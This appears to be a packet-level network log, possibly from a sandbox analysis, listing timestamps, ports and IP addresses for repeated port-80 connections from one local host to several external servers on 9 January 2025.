Jan 9, 2025 16:55:50.499270916 CET	49852	80	192.168.11.30	172.67.132.227
Jan 9, 2025 16:55:50.507252932 CET	49852	80	192.168.11.30	172.67.132.227
Jan 9, 2025 16:55:50.625869989 CET	80	49852	172.67.132.227	192.168.11.30
Jan 9, 2025 16:55:50.646014929 CET	80	49852	172.67.132.227	192.168.11.30
Jan 9, 2025 16:55:50.646414995 CET	80	49852	172.67.132.227	192.168.11.30
Jan 9, 2025 16:55:50.646652937 CET	49852	80	192.168.11.30	172.67.132.227
Jan 9, 2025 16:55:50.649425030 CET	49852	80	192.168.11.30	172.67.132.227
Jan 9, 2025 16:55:50.767807961 CET	80	49852	172.67.132.227	192.168.11.30
Jan 9, 2025 16:56:04.428009033 CET	49853	80	192.168.11.30	136.243.64.147
Jan 9, 2025 16:56:04.657123089 CET	80	49853	136.243.64.147	192.168.11.30
Jan 9, 2025 16:56:04.657282114 CET	49853	80	192.168.11.30	136.243.64.147
Jan 9, 2025 16:56:04.669420958 CET	49853	80	192.168.11.30	136.243.64.147
Jan 9, 2025 16:56:04.898581028 CET	80	49853	136.243.64.147	192.168.11.30
Jan 9, 2025 16:56:04.898854971 CET	80	49853	136.243.64.147	192.168.11.30
Jan 9, 2025 16:56:04.898863077 CET	80	49853	136.243.64.147	192.168.11.30
Jan 9, 2025 16:56:04.899063110 CET	49853	80	192.168.11.30	136.243.64.147
Jan 9, 2025 16:56:06.170857906 CET	49853	80	192.168.11.30	136.243.64.147
Jan 9, 2025 16:56:07.188749075 CET	49854	80	192.168.11.30	136.243.64.147
Jan 9, 2025 16:56:07.412476063 CET	80	49854	136.243.64.147	192.168.11.30
Jan 9, 2025 16:56:07.412628889 CET	49854	80	192.168.11.30	136.243.64.147
Jan 9, 2025 16:56:07.436496019 CET	49854	80	192.168.11.30	136.243.64.147
Jan 9, 2025 16:56:07.660286903 CET	80	49854	136.243.64.147	192.168.11.30
Jan 9, 2025 16:56:07.660809994 CET	80	49854	136.243.64.147	192.168.11.30
Jan 9, 2025 16:56:07.660819054 CET	80	49854	136.243.64.147	192.168.11.30
Jan 9, 2025 16:56:07.661034107 CET	49854	80	192.168.11.30	136.243.64.147
Jan 9, 2025 16:56:08.951438904 CET	49854	80	192.168.11.30	136.243.64.147
Jan 9, 2025 16:56:09.969362020 CET	49855	80	192.168.11.30	136.243.64.147
Jan 9, 2025 16:56:10.193658113 CET	80	49855	136.243.64.147	192.168.11.30
Jan 9, 2025 16:56:10.193849087 CET	49855	80	192.168.11.30	136.243.64.147
Jan 9, 2025 16:56:10.206928015 CET	49855	80	192.168.11.30	136.243.64.147
Jan 9, 2025 16:56:10.206948042 CET	49855	80	192.168.11.30	136.243.64.147
Jan 9, 2025 16:56:10.431315899 CET	80	49855	136.243.64.147	192.168.11.30
Jan 9, 2025 16:56:10.433151960 CET	80	49855	136.243.64.147	192.168.11.30
Jan 9, 2025 16:56:10.433423042 CET	80	49855	136.243.64.147	192.168.11.30
Jan 9, 2025 16:56:10.433511019 CET	80	49855	136.243.64.147	192.168.11.30
Jan 9, 2025 16:56:10.433693886 CET	80	49855	136.243.64.147	192.168.11.30
Jan 9, 2025 16:56:10.433955908 CET	49855	80	192.168.11.30	136.243.64.147
Jan 9, 2025 16:56:11.716468096 CET	49855	80	192.168.11.30	136.243.64.147
Jan 9, 2025 16:56:12.734649897 CET	49856	80	192.168.11.30	136.243.64.147
Jan 9, 2025 16:56:12.962680101 CET	80	49856	136.243.64.147	192.168.11.30
Jan 9, 2025 16:56:12.963001966 CET	49856	80	192.168.11.30	136.243.64.147
Jan 9, 2025 16:56:12.971327066 CET	49856	80	192.168.11.30	136.243.64.147
Jan 9, 2025 16:56:13.199506044 CET	80	49856	136.243.64.147	192.168.11.30
Jan 9, 2025 16:56:13.199781895 CET	80	49856	136.243.64.147	192.168.11.30
Jan 9, 2025 16:56:13.199790001 CET	80	49856	136.243.64.147	192.168.11.30
Jan 9, 2025 16:56:13.200100899 CET	49856	80	192.168.11.30	136.243.64.147
Jan 9, 2025 16:56:13.202713966 CET	49856	80	192.168.11.30	136.243.64.147
Jan 9, 2025 16:56:13.430692911 CET	80	49856	136.243.64.147	192.168.11.30
Jan 9, 2025 16:56:18.808187962 CET	49857	80	192.168.11.30	202.95.11.110
Jan 9, 2025 16:56:19.107914925 CET	80	49857	202.95.11.110	192.168.11.30
Jan 9, 2025 16:56:19.108100891 CET	49857	80	192.168.11.30	202.95.11.110
Jan 9, 2025 16:56:19.121620893 CET	49857	80	192.168.11.30	202.95.11.110
Jan 9, 2025 16:56:19.421605110 CET	80	49857	202.95.11.110	192.168.11.30
Jan 9, 2025 16:56:19.465543985 CET	80	49857	202.95.11.110	192.168.11.30
Jan 9, 2025 16:56:19.465554953 CET	80	49857	202.95.11.110	192.168.11.30
Jan 9, 2025 16:56:19.465774059 CET	49857	80	192.168.11.30	202.95.11.110
Jan 9, 2025 16:56:20.636356115 CET	49857	80	192.168.11.30	202.95.11.110
Jan 9, 2025 16:56:21.654850006 CET	49858	80	192.168.11.30	202.95.11.110
Jan 9, 2025 16:56:21.952291965 CET	80	49858	202.95.11.110	192.168.11.30
Jan 9, 2025 16:56:21.952497959 CET	49858	80	192.168.11.30	202.95.11.110
Jan 9, 2025 16:56:21.966253996 CET	49858	80	192.168.11.30	202.95.11.110
Jan 9, 2025 16:56:22.263890982 CET	80	49858	202.95.11.110	192.168.11.30
Jan 9, 2025 16:56:22.308672905 CET	80	49858	202.95.11.110	192.168.11.30
Jan 9, 2025 16:56:22.308686018 CET	80	49858	202.95.11.110	192.168.11.30
Jan 9, 2025 16:56:22.308846951 CET	49858	80	192.168.11.30	202.95.11.110
Jan 9, 2025 16:56:23.479444027 CET	49858	80	192.168.11.30	202.95.11.110
Jan 9, 2025 16:56:24.497936964 CET	49859	80	192.168.11.30	202.95.11.110
Jan 9, 2025 16:56:24.791661024 CET	80	49859	202.95.11.110	192.168.11.30
Jan 9, 2025 16:56:24.791867018 CET	49859	80	192.168.11.30	202.95.11.110
Jan 9, 2025 16:56:24.805553913 CET	49859	80	192.168.11.30	202.95.11.110
Jan 9, 2025 16:56:24.805605888 CET	49859	80	192.168.11.30	202.95.11.110
Jan 9, 2025 16:56:25.099350929 CET	80	49859	202.95.11.110	192.168.11.30
Jan 9, 2025 16:56:25.099464893 CET	80	49859	202.95.11.110	192.168.11.30
Jan 9, 2025 16:56:25.099709034 CET	80	49859	202.95.11.110	192.168.11.30
Jan 9, 2025 16:56:25.147938013 CET	80	49859	202.95.11.110	192.168.11.30
Jan 9, 2025 16:56:25.147947073 CET	80	49859	202.95.11.110	192.168.11.30
Jan 9, 2025 16:56:25.148180962 CET	49859	80	192.168.11.30	202.95.11.110
Jan 9, 2025 16:56:26.306991100 CET	49859	80	192.168.11.30	202.95.11.110
Jan 9, 2025 16:56:27.325150013 CET	49860	80	192.168.11.30	202.95.11.110
Jan 9, 2025 16:56:27.620491028 CET	80	49860	202.95.11.110	192.168.11.30
Jan 9, 2025 16:56:27.620678902 CET	49860	80	192.168.11.30	202.95.11.110
Jan 9, 2025 16:56:27.628243923 CET	49860	80	192.168.11.30	202.95.11.110
Jan 9, 2025 16:56:27.923834085 CET	80	49860	202.95.11.110	192.168.11.30
Jan 9, 2025 16:56:28.133764982 CET	80	49860	202.95.11.110	192.168.11.30
Jan 9, 2025 16:56:28.133774042 CET	80	49860	202.95.11.110	192.168.11.30
Jan 9, 2025 16:56:28.134094000 CET	49860	80	192.168.11.30	202.95.11.110
Jan 9, 2025 16:56:28.137603998 CET	49860	80	192.168.11.30	202.95.11.110
Jan 9, 2025 16:56:28.432694912 CET	80	49860	202.95.11.110	192.168.11.30
Jan 9, 2025 16:56:33.400522947 CET	49861	80	192.168.11.30	13.248.169.48
Jan 9, 2025 16:56:33.539371967 CET	80	49861	13.248.169.48	192.168.11.30
Jan 9, 2025 16:56:33.539858103 CET	49861	80	192.168.11.30	13.248.169.48
Jan 9, 2025 16:56:33.551520109 CET	49861	80	192.168.11.30	13.248.169.48
Jan 9, 2025 16:56:33.688316107 CET	80	49861	13.248.169.48	192.168.11.30
Jan 9, 2025 16:56:33.688343048 CET	80	49861	13.248.169.48	192.168.11.30
Jan 9, 2025 16:56:33.688550949 CET	49861	80	192.168.11.30	13.248.169.48
Jan 9, 2025 16:56:35.055022955 CET	49861	80	192.168.11.30	13.248.169.48
Jan 9, 2025 16:56:36.073268890 CET	49862	80	192.168.11.30	13.248.169.48
Jan 9, 2025 16:56:36.210022926 CET	80	49862	13.248.169.48	192.168.11.30
Jan 9, 2025 16:56:36.210287094 CET	49862	80	192.168.11.30	13.248.169.48
Jan 9, 2025 16:56:36.223210096 CET	49862	80	192.168.11.30	13.248.169.48
Jan 9, 2025 16:56:36.359236002 CET	80	49862	13.248.169.48	192.168.11.30
Jan 9, 2025 16:56:36.359400988 CET	80	49862	13.248.169.48	192.168.11.30
Jan 9, 2025 16:56:36.359726906 CET	49862	80	192.168.11.30	13.248.169.48
Jan 9, 2025 16:56:37.726299047 CET	49862	80	192.168.11.30	13.248.169.48
Jan 9, 2025 16:56:38.744704962 CET	49863	80	192.168.11.30	13.248.169.48
Jan 9, 2025 16:56:39.757005930 CET	49863	80	192.168.11.30	13.248.169.48
Jan 9, 2025 16:56:39.895569086 CET	80	49863	13.248.169.48	192.168.11.30
Jan 9, 2025 16:56:39.895848989 CET	49863	80	192.168.11.30	13.248.169.48
Jan 9, 2025 16:56:39.909548998 CET	49863	80	192.168.11.30	13.248.169.48
Jan 9, 2025 16:56:39.909611940 CET	49863	80	192.168.11.30	13.248.169.48
Jan 9, 2025 16:56:40.046780109 CET	80	49863	13.248.169.48	192.168.11.30
Jan 9, 2025 16:56:40.046791077 CET	80	49863	13.248.169.48	192.168.11.30
Jan 9, 2025 16:56:40.046983004 CET	80	49863	13.248.169.48	192.168.11.30
Jan 9, 2025 16:56:40.047153950 CET	49863	80	192.168.11.30	13.248.169.48
Jan 9, 2025 16:56:41.412940025 CET	49863	80	192.168.11.30	13.248.169.48
Jan 9, 2025 16:56:42.431365013 CET	49864	80	192.168.11.30	13.248.169.48
Jan 9, 2025 16:56:42.570142031 CET	80	49864	13.248.169.48	192.168.11.30
Jan 9, 2025 16:56:42.570372105 CET	49864	80	192.168.11.30	13.248.169.48
Jan 9, 2025 16:56:42.578635931 CET	49864	80	192.168.11.30	13.248.169.48
Jan 9, 2025 16:56:42.719249010 CET	80	49864	13.248.169.48	192.168.11.30
Jan 9, 2025 16:56:42.719259024 CET	80	49864	13.248.169.48	192.168.11.30
Jan 9, 2025 16:56:42.719717026 CET	49864	80	192.168.11.30	13.248.169.48
Jan 9, 2025 16:56:42.722006083 CET	49864	80	192.168.11.30	13.248.169.48
Jan 9, 2025 16:56:42.859292984 CET	80	49864	13.248.169.48	192.168.11.30
Jan 9, 2025 16:56:47.994776011 CET	49865	80	192.168.11.30	103.106.67.112
Jan 9, 2025 16:56:48.168503046 CET	80	49865	103.106.67.112	192.168.11.30
Jan 9, 2025 16:56:48.168781042 CET	49865	80	192.168.11.30	103.106.67.112
Jan 9, 2025 16:56:48.182256937 CET	49865	80	192.168.11.30	103.106.67.112
Jan 9, 2025 16:56:48.356173992 CET	80	49865	103.106.67.112	192.168.11.30
Jan 9, 2025 16:56:48.438275099 CET	80	49865	103.106.67.112	192.168.11.30
Jan 9, 2025 16:56:48.438287973 CET	80	49865	103.106.67.112	192.168.11.30
Jan 9, 2025 16:56:48.438416958 CET	49865	80	192.168.11.30	103.106.67.112
Jan 9, 2025 16:56:49.692410946 CET	49865	80	192.168.11.30	103.106.67.112
Jan 9, 2025 16:56:50.710441113 CET	49867	80	192.168.11.30	103.106.67.112
Jan 9, 2025 16:56:50.884219885 CET	80	49867	103.106.67.112	192.168.11.30
Jan 9, 2025 16:56:50.884423971 CET	49867	80	192.168.11.30	103.106.67.112
Jan 9, 2025 16:56:50.896884918 CET	49867	80	192.168.11.30	103.106.67.112
Jan 9, 2025 16:56:51.070655107 CET	80	49867	103.106.67.112	192.168.11.30
Jan 9, 2025 16:56:51.152040005 CET	80	49867	103.106.67.112	192.168.11.30
Jan 9, 2025 16:56:51.152056932 CET	80	49867	103.106.67.112	192.168.11.30
Jan 9, 2025 16:56:51.152255058 CET	49867	80	192.168.11.30	103.106.67.112
Jan 9, 2025 16:56:52.410506010 CET	49867	80	192.168.11.30	103.106.67.112
Jan 9, 2025 16:56:53.432590008 CET	49868	80	192.168.11.30	103.106.67.112
Jan 9, 2025 16:56:53.606401920 CET	80	49868	103.106.67.112	192.168.11.30
Jan 9, 2025 16:56:53.606641054 CET	49868	80	192.168.11.30	103.106.67.112
Jan 9, 2025 16:56:53.626156092 CET	49868	80	192.168.11.30	103.106.67.112
Jan 9, 2025 16:56:53.800143957 CET	80	49868	103.106.67.112	192.168.11.30
Jan 9, 2025 16:56:53.800153971 CET	80	49868	103.106.67.112	192.168.11.30
Jan 9, 2025 16:56:53.800162077 CET	80	49868	103.106.67.112	192.168.11.30
Jan 9, 2025 16:56:53.880795956 CET	80	49868	103.106.67.112	192.168.11.30
Jan 9, 2025 16:56:53.880808115 CET	80	49868	103.106.67.112	192.168.11.30
Jan 9, 2025 16:56:53.881158113 CET	49868	80	192.168.11.30	103.106.67.112
Jan 9, 2025 16:56:55.128619909 CET	49868	80	192.168.11.30	103.106.67.112
Jan 9, 2025 16:56:56.147097111 CET	49869	80	192.168.11.30	103.106.67.112
Jan 9, 2025 16:56:56.320957899 CET	80	49869	103.106.67.112	192.168.11.30
Jan 9, 2025 16:56:56.321233034 CET	49869	80	192.168.11.30	103.106.67.112
Jan 9, 2025 16:56:56.329521894 CET	49869	80	192.168.11.30	103.106.67.112
Jan 9, 2025 16:56:56.503701925 CET	80	49869	103.106.67.112	192.168.11.30
Jan 9, 2025 16:56:56.584871054 CET	80	49869	103.106.67.112	192.168.11.30
Jan 9, 2025 16:56:56.585000992 CET	80	49869	103.106.67.112	192.168.11.30
Jan 9, 2025 16:56:56.585335970 CET	49869	80	192.168.11.30	103.106.67.112
Jan 9, 2025 16:56:56.587727070 CET	49869	80	192.168.11.30	103.106.67.112
Jan 9, 2025 16:56:56.761677980 CET	80	49869	103.106.67.112	192.168.11.30
Jan 9, 2025 16:57:01.728938103 CET	49870	80	192.168.11.30	104.21.32.1
Jan 9, 2025 16:57:01.847616911 CET	80	49870	104.21.32.1	192.168.11.30
Jan 9, 2025 16:57:01.847954988 CET	49870	80	192.168.11.30	104.21.32.1
Jan 9, 2025 16:57:01.860265017 CET	49870	80	192.168.11.30	104.21.32.1
Jan 9, 2025 16:57:01.978955984 CET	80	49870	104.21.32.1	192.168.11.30
Jan 9, 2025 16:57:02.222666979 CET	80	49870	104.21.32.1	192.168.11.30
Jan 9, 2025 16:57:02.222676039 CET	80	49870	104.21.32.1	192.168.11.30
Jan 9, 2025 16:57:02.223001957 CET	49870	80	192.168.11.30	104.21.32.1
Jan 9, 2025 16:57:02.223263979 CET	80	49870	104.21.32.1	192.168.11.30
Jan 9, 2025 16:57:02.223591089 CET	49870	80	192.168.11.30	104.21.32.1
Jan 9, 2025 16:57:03.361244917 CET	49870	80	192.168.11.30	104.21.32.1
Jan 9, 2025 16:57:04.378920078 CET	49871	80	192.168.11.30	104.21.32.1
Jan 9, 2025 16:57:04.497298002 CET	80	49871	104.21.32.1	192.168.11.30
Jan 9, 2025 16:57:04.497585058 CET	49871	80	192.168.11.30	104.21.32.1
Jan 9, 2025 16:57:04.508842945 CET	49871	80	192.168.11.30	104.21.32.1
Jan 9, 2025 16:57:04.627384901 CET	80	49871	104.21.32.1	192.168.11.30
Jan 9, 2025 16:57:04.781955004 CET	80	49871	104.21.32.1	192.168.11.30
Jan 9, 2025 16:57:04.781964064 CET	80	49871	104.21.32.1	192.168.11.30
Jan 9, 2025 16:57:04.782109022 CET	80	49871	104.21.32.1	192.168.11.30
Jan 9, 2025 16:57:04.782211065 CET	49871	80	192.168.11.30	104.21.32.1
Jan 9, 2025 16:57:04.782215118 CET	80	49871	104.21.32.1	192.168.11.30
Jan 9, 2025 16:57:04.782485008 CET	49871	80	192.168.11.30	104.21.32.1
Jan 9, 2025 16:57:06.016820908 CET	49871	80	192.168.11.30	104.21.32.1
Jan 9, 2025 16:57:07.034801960 CET	49872	80	192.168.11.30	104.21.32.1
Jan 9, 2025 16:57:07.153294086 CET	80	49872	104.21.32.1	192.168.11.30
Jan 9, 2025 16:57:07.153711081 CET	49872	80	192.168.11.30	104.21.32.1
Jan 9, 2025 16:57:07.165983915 CET	49872	80	192.168.11.30	104.21.32.1
Jan 9, 2025 16:57:07.288055897 CET	80	49872	104.21.32.1	192.168.11.30
Jan 9, 2025 16:57:07.288290024 CET	80	49872	104.21.32.1	192.168.11.30
Jan 9, 2025 16:57:07.466294050 CET	80	49872	104.21.32.1	192.168.11.30
Jan 9, 2025 16:57:07.466348886 CET	80	49872	104.21.32.1	192.168.11.30
Jan 9, 2025 16:57:07.466401100 CET	80	49872	104.21.32.1	192.168.11.30
Jan 9, 2025 16:57:07.466672897 CET	49872	80	192.168.11.30	104.21.32.1
Jan 9, 2025 16:57:07.466856003 CET	80	49872	104.21.32.1	192.168.11.30
Jan 9, 2025 16:57:07.467308998 CET	49872	80	192.168.11.30	104.21.32.1
Jan 9, 2025 16:57:08.672519922 CET	49872	80	192.168.11.30	104.21.32.1
Jan 9, 2025 16:57:09.690459013 CET	49873	80	192.168.11.30	104.21.32.1
Jan 9, 2025 16:57:09.809627056 CET	80	49873	104.21.32.1	192.168.11.30
Jan 9, 2025 16:57:09.809776068 CET	49873	80	192.168.11.30	104.21.32.1
Jan 9, 2025 16:57:09.817972898 CET	49873	80	192.168.11.30	104.21.32.1
Jan 9, 2025 16:57:09.937088013 CET	80	49873	104.21.32.1	192.168.11.30
Jan 9, 2025 16:57:10.238609076 CET	80	49873	104.21.32.1	192.168.11.30
Jan 9, 2025 16:57:10.238626003 CET	80	49873	104.21.32.1	192.168.11.30
Jan 9, 2025 16:57:10.238689899 CET	80	49873	104.21.32.1	192.168.11.30
Jan 9, 2025 16:57:10.239084959 CET	49873	80	192.168.11.30	104.21.32.1
Jan 9, 2025 16:57:10.243088961 CET	49873	80	192.168.11.30	104.21.32.1
Jan 9, 2025 16:57:10.362694979 CET	80	49873	104.21.32.1	192.168.11.30
Jan 9, 2025 16:57:15.442919016 CET	49874	80	192.168.11.30	47.83.1.90
Jan 9, 2025 16:57:15.748544931 CET	80	49874	47.83.1.90	192.168.11.30
Jan 9, 2025 16:57:15.748778105 CET	49874	80	192.168.11.30	47.83.1.90
Jan 9, 2025 16:57:15.769455910 CET	49874	80	192.168.11.30	47.83.1.90
Jan 9, 2025 16:57:16.075058937 CET	80	49874	47.83.1.90	192.168.11.30
Jan 9, 2025 16:57:16.761316061 CET	80	49874	47.83.1.90	192.168.11.30
Jan 9, 2025 16:57:16.761324883 CET	80	49874	47.83.1.90	192.168.11.30
Jan 9, 2025 16:57:16.761522055 CET	49874	80	192.168.11.30	47.83.1.90
Jan 9, 2025 16:57:17.279989004 CET	49874	80	192.168.11.30	47.83.1.90
Jan 9, 2025 16:57:18.298078060 CET	49875	80	192.168.11.30	47.83.1.90
Jan 9, 2025 16:57:18.603066921 CET	80	49875	47.83.1.90	192.168.11.30
Jan 9, 2025 16:57:18.603401899 CET	49875	80	192.168.11.30	47.83.1.90
Jan 9, 2025 16:57:18.625554085 CET	49875	80	192.168.11.30	47.83.1.90
Jan 9, 2025 16:57:18.930550098 CET	80	49875	47.83.1.90	192.168.11.30
Jan 9, 2025 16:57:19.623817921 CET	80	49875	47.83.1.90	192.168.11.30
Jan 9, 2025 16:57:19.623826981 CET	80	49875	47.83.1.90	192.168.11.30
Jan 9, 2025 16:57:19.624236107 CET	49875	80	192.168.11.30	47.83.1.90
Jan 9, 2025 16:57:20.138714075 CET	49875	80	192.168.11.30	47.83.1.90
Jan 9, 2025 16:57:21.156687975 CET	49876	80	192.168.11.30	47.83.1.90
Jan 9, 2025 16:57:21.467861891 CET	80	49876	47.83.1.90	192.168.11.30
Jan 9, 2025 16:57:21.468121052 CET	49876	80	192.168.11.30	47.83.1.90
Jan 9, 2025 16:57:21.479825974 CET	49876	80	192.168.11.30	47.83.1.90
Jan 9, 2025 16:57:21.479873896 CET	49876	80	192.168.11.30	47.83.1.90
Jan 9, 2025 16:57:21.791008949 CET	80	49876	47.83.1.90	192.168.11.30
Jan 9, 2025 16:57:21.791215897 CET	80	49876	47.83.1.90	192.168.11.30
Jan 9, 2025 16:57:21.791502953 CET	80	49876	47.83.1.90	192.168.11.30
Jan 9, 2025 16:57:22.481483936 CET	80	49876	47.83.1.90	192.168.11.30
Jan 9, 2025 16:57:22.481492996 CET	80	49876	47.83.1.90	192.168.11.30
Jan 9, 2025 16:57:22.481832027 CET	49876	80	192.168.11.30	47.83.1.90
Jan 9, 2025 16:57:22.981822968 CET	49876	80	192.168.11.30	47.83.1.90
Jan 9, 2025 16:57:23.999890089 CET	49877	80	192.168.11.30	47.83.1.90
Jan 9, 2025 16:57:24.304897070 CET	80	49877	47.83.1.90	192.168.11.30
Jan 9, 2025 16:57:24.305186987 CET	49877	80	192.168.11.30	47.83.1.90
Jan 9, 2025 16:57:24.313226938 CET	49877	80	192.168.11.30	47.83.1.90
Jan 9, 2025 16:57:24.618113995 CET	80	49877	47.83.1.90	192.168.11.30
Jan 9, 2025 16:57:25.324420929 CET	80	49877	47.83.1.90	192.168.11.30
Jan 9, 2025 16:57:25.324436903 CET	80	49877	47.83.1.90	192.168.11.30
Jan 9, 2025 16:57:25.324867010 CET	49877	80	192.168.11.30	47.83.1.90
Jan 9, 2025 16:57:25.327222109 CET	49877	80	192.168.11.30	47.83.1.90
Jan 9, 2025 16:57:25.632018089 CET	80	49877	47.83.1.90	192.168.11.30
Jan 9, 2025 16:57:33.465950012 CET	49878	80	192.168.11.30	194.9.94.85
Jan 9, 2025 16:57:33.704879999 CET	80	49878	194.9.94.85	192.168.11.30
Jan 9, 2025 16:57:33.705096960 CET	49878	80	192.168.11.30	194.9.94.85
Jan 9, 2025 16:57:33.712259054 CET	49878	80	192.168.11.30	194.9.94.85
Jan 9, 2025 16:57:33.943939924 CET	80	49878	194.9.94.85	192.168.11.30
Jan 9, 2025 16:57:33.953876972 CET	80	49878	194.9.94.85	192.168.11.30
Jan 9, 2025 16:57:33.953973055 CET	80	49878	194.9.94.85	192.168.11.30
Jan 9, 2025 16:57:33.954088926 CET	80	49878	194.9.94.85	192.168.11.30
Jan 9, 2025 16:57:33.954129934 CET	49878	80	192.168.11.30	194.9.94.85
Jan 9, 2025 16:57:33.954170942 CET	80	49878	194.9.94.85	192.168.11.30
Jan 9, 2025 16:57:33.954265118 CET	80	49878	194.9.94.85	192.168.11.30
Jan 9, 2025 16:57:33.954273939 CET	80	49878	194.9.94.85	192.168.11.30
Jan 9, 2025 16:57:33.954312086 CET	49878	80	192.168.11.30	194.9.94.85
Jan 9, 2025 16:57:33.954561949 CET	49878	80	192.168.11.30	194.9.94.85
Jan 9, 2025 16:57:33.958786964 CET	49878	80	192.168.11.30	194.9.94.85
Jan 9, 2025 16:57:34.197972059 CET	80	49878	194.9.94.85	192.168.11.30
Jan 9, 2025 16:57:38.966224909 CET	49879	80	192.168.11.30	45.33.2.79
Jan 9, 2025 16:57:39.108280897 CET	80	49879	45.33.2.79	192.168.11.30
Jan 9, 2025 16:57:39.108467102 CET	49879	80	192.168.11.30	45.33.2.79
Jan 9, 2025 16:57:39.122222900 CET	49879	80	192.168.11.30	45.33.2.79
Jan 9, 2025 16:57:39.268029928 CET	80	49879	45.33.2.79	192.168.11.30
Jan 9, 2025 16:57:39.268040895 CET	80	49879	45.33.2.79	192.168.11.30
Jan 9, 2025 16:57:39.268222094 CET	49879	80	192.168.11.30	45.33.2.79
Jan 9, 2025 16:57:40.634135962 CET	49879	80	192.168.11.30	45.33.2.79
Jan 9, 2025 16:57:41.652656078 CET	49880	80	192.168.11.30	45.33.2.79
Jan 9, 2025 16:57:41.795279026 CET	80	49880	45.33.2.79	192.168.11.30
Jan 9, 2025 16:57:41.795502901 CET	49880	80	192.168.11.30	45.33.2.79
Jan 9, 2025 16:57:41.808381081 CET	49880	80	192.168.11.30	45.33.2.79
Jan 9, 2025 16:57:41.953916073 CET	80	49880	45.33.2.79	192.168.11.30
Jan 9, 2025 16:57:41.953927040 CET	80	49880	45.33.2.79	192.168.11.30
Jan 9, 2025 16:57:41.954077959 CET	49880	80	192.168.11.30	45.33.2.79
Jan 9, 2025 16:57:43.321073055 CET	49880	80	192.168.11.30	45.33.2.79
Jan 9, 2025 16:57:44.339418888 CET	49881	80	192.168.11.30	45.33.2.79
Jan 9, 2025 16:57:44.481529951 CET	80	49881	45.33.2.79	192.168.11.30
Jan 9, 2025 16:57:44.481729984 CET	49881	80	192.168.11.30	45.33.2.79
Jan 9, 2025 16:57:44.496201992 CET	49881	80	192.168.11.30	45.33.2.79
Jan 9, 2025 16:57:44.496234894 CET	49881	80	192.168.11.30	45.33.2.79
Jan 9, 2025 16:57:44.638271093 CET	80	49881	45.33.2.79	192.168.11.30
Jan 9, 2025 16:57:44.638427019 CET	80	49881	45.33.2.79	192.168.11.30
Jan 9, 2025 16:57:44.638432980 CET	80	49881	45.33.2.79	192.168.11.30
Jan 9, 2025 16:57:44.641789913 CET	80	49881	45.33.2.79	192.168.11.30
Jan 9, 2025 16:57:44.641798019 CET	80	49881	45.33.2.79	192.168.11.30
Jan 9, 2025 16:57:44.641972065 CET	49881	80	192.168.11.30	45.33.2.79
Jan 9, 2025 16:57:46.008013010 CET	49881	80	192.168.11.30	45.33.2.79
Jan 9, 2025 16:57:47.025973082 CET	49882	80	192.168.11.30	45.33.2.79
Jan 9, 2025 16:57:47.167874098 CET	80	49882	45.33.2.79	192.168.11.30
Jan 9, 2025 16:57:47.168106079 CET	49882	80	192.168.11.30	45.33.2.79
Jan 9, 2025 16:57:47.176954031 CET	49882	80	192.168.11.30	45.33.2.79
Jan 9, 2025 16:57:47.321386099 CET	80	49882	45.33.2.79	192.168.11.30
Jan 9, 2025 16:57:47.321394920 CET	80	49882	45.33.2.79	192.168.11.30
Jan 9, 2025 16:57:47.321403980 CET	80	49882	45.33.2.79	192.168.11.30
Jan 9, 2025 16:57:47.321677923 CET	49882	80	192.168.11.30	45.33.2.79
Jan 9, 2025 16:57:47.324095964 CET	49882	80	192.168.11.30	45.33.2.79
Jan 9, 2025 16:57:47.465801001 CET	80	49882	45.33.2.79	192.168.11.30
Jan 9, 2025 16:57:52.339057922 CET	49883	80	192.168.11.30	104.21.32.1
Jan 9, 2025 16:57:52.458322048 CET	80	49883	104.21.32.1	192.168.11.30
Jan 9, 2025 16:57:52.458448887 CET	49883	80	192.168.11.30	104.21.32.1
Jan 9, 2025 16:57:52.471359015 CET	49883	80	192.168.11.30	104.21.32.1
Jan 9, 2025 16:57:52.590678930 CET	80	49883	104.21.32.1	192.168.11.30
Jan 9, 2025 16:57:53.012433052 CET	80	49883	104.21.32.1	192.168.11.30
Jan 9, 2025 16:57:53.012442112 CET	80	49883	104.21.32.1	192.168.11.30
Jan 9, 2025 16:57:53.012449026 CET	80	49883	104.21.32.1	192.168.11.30
Jan 9, 2025 16:57:53.012748003 CET	49883	80	192.168.11.30	104.21.32.1
Jan 9, 2025 16:57:53.012834072 CET	80	49883	104.21.32.1	192.168.11.30
Jan 9, 2025 16:57:53.012986898 CET	49883	80	192.168.11.30	104.21.32.1
Jan 9, 2025 16:57:53.974920034 CET	49883	80	192.168.11.30	104.21.32.1
Jan 9, 2025 16:57:54.993706942 CET	49884	80	192.168.11.30	104.21.32.1
Jan 9, 2025 16:57:55.112870932 CET	80	49884	104.21.32.1	192.168.11.30
Jan 9, 2025 16:57:55.113137007 CET	49884	80	192.168.11.30	104.21.32.1
Jan 9, 2025 16:57:55.125240088 CET	49884	80	192.168.11.30	104.21.32.1
Jan 9, 2025 16:57:55.244534969 CET	80	49884	104.21.32.1	192.168.11.30
Jan 9, 2025 16:57:55.676002979 CET	80	49884	104.21.32.1	192.168.11.30
Jan 9, 2025 16:57:55.676012039 CET	80	49884	104.21.32.1	192.168.11.30
Jan 9, 2025 16:57:55.676284075 CET	49884	80	192.168.11.30	104.21.32.1
Jan 9, 2025 16:57:55.676831961 CET	80	49884	104.21.32.1	192.168.11.30
Jan 9, 2025 16:57:55.677062988 CET	49884	80	192.168.11.30	104.21.32.1
Jan 9, 2025 16:57:56.630680084 CET	49884	80	192.168.11.30	104.21.32.1
Jan 9, 2025 16:57:57.649580002 CET	49885	80	192.168.11.30	104.21.32.1
Jan 9, 2025 16:57:57.768174887 CET	80	49885	104.21.32.1	192.168.11.30
Jan 9, 2025 16:57:57.768421888 CET	49885	80	192.168.11.30	104.21.32.1
Jan 9, 2025 16:57:57.782006979 CET	49885	80	192.168.11.30	104.21.32.1
Jan 9, 2025 16:57:57.782058954 CET	49885	80	192.168.11.30	104.21.32.1
Jan 9, 2025 16:57:57.900579929 CET	80	49885	104.21.32.1	192.168.11.30
Jan 9, 2025 16:57:57.900660992 CET	80	49885	104.21.32.1	192.168.11.30
Jan 9, 2025 16:57:57.900666952 CET	80	49885	104.21.32.1	192.168.11.30
Jan 9, 2025 16:57:58.347882032 CET	80	49885	104.21.32.1	192.168.11.30
Jan 9, 2025 16:57:58.347898006 CET	80	49885	104.21.32.1	192.168.11.30
Jan 9, 2025 16:57:58.348104954 CET	49885	80	192.168.11.30	104.21.32.1
Jan 9, 2025 16:57:58.349392891 CET	80	49885	104.21.32.1	192.168.11.30
Jan 9, 2025 16:57:58.349605083 CET	49885	80	192.168.11.30	104.21.32.1
